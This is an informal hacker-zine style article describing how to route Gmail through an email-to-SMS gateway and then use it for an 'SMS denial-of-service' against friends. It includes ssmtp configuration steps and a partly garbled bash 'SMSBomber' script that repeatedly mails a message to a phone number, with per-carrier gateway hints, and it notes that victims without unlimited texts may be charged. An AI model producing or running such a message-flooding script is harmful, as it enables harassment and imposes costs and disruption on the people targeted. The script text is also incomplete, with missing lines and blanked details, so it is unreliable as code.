Gmail and SMS Gateway Fun by Digicon Due to the downturn in the economy, I found myself needing to save money by downgrading my phone services. With no data service for my phone, I could no longer get e-mail. In my search to get e-mail without a data plan, I found out about SMS gateways. An SMS gateway is a device or service offering SMS transit, transforming messages to mobile network traffic from other media or, vice versa, allowing transmission or receipt of SMS messages with or without the use of a mobile phone. With this, I could take my phone number, forward my e-mail to that address with some filters, and I get my email back. Then I thought I could mess with my friends with an SMS denial-of-service. Remember, if your friend doesn't have unlimited texts, this could add up fast. So here's my setup. In Ubuntu 9.04: sudo apt-get install ssmtp Then 'nano /etc/ssmtp/ssmtp.conf' and add the following: AuthPass=Your_Gmail_Password FromLineOverride=YES UseSTARTTLS=YES Copy the following script to a text file and name it '':
echo Please, enter your number
echo  Please, enter your short message
echo "Attacking $NUMBER"
echo Continue????? yes/no
read NEXT
if [ "$NEXT" = "no" ]; then
	echo " Restarting"
elif [ "$NEXT" = "yes" ]; then
	echo $MESSAGE > 1.txt
 	echo "How many sms messages to send" read SMS
 	echo "Number of seconds between messages"
 	read speed
        until [ $SMS -le  $COUNTER ]; do
   		cat 1.txt | mail -s "SMSBomber" $NUMBER
   		sleep $speed
         	COUNTER=$(( $COUNTER + 1 ))
   		echo "Attack $COUNTER of $SMS"
 		echo "CRTL+C to call off attack"
Then do 'chmod 777' to make it executable, and to run just type './' remembering to enter the number in the format: This isn't limited to AT&T, here are few other carriers get you started: * Boost: * Verizon: * Virgin: * Alltel: Shouts to Debbie, Trinity, family, and friends.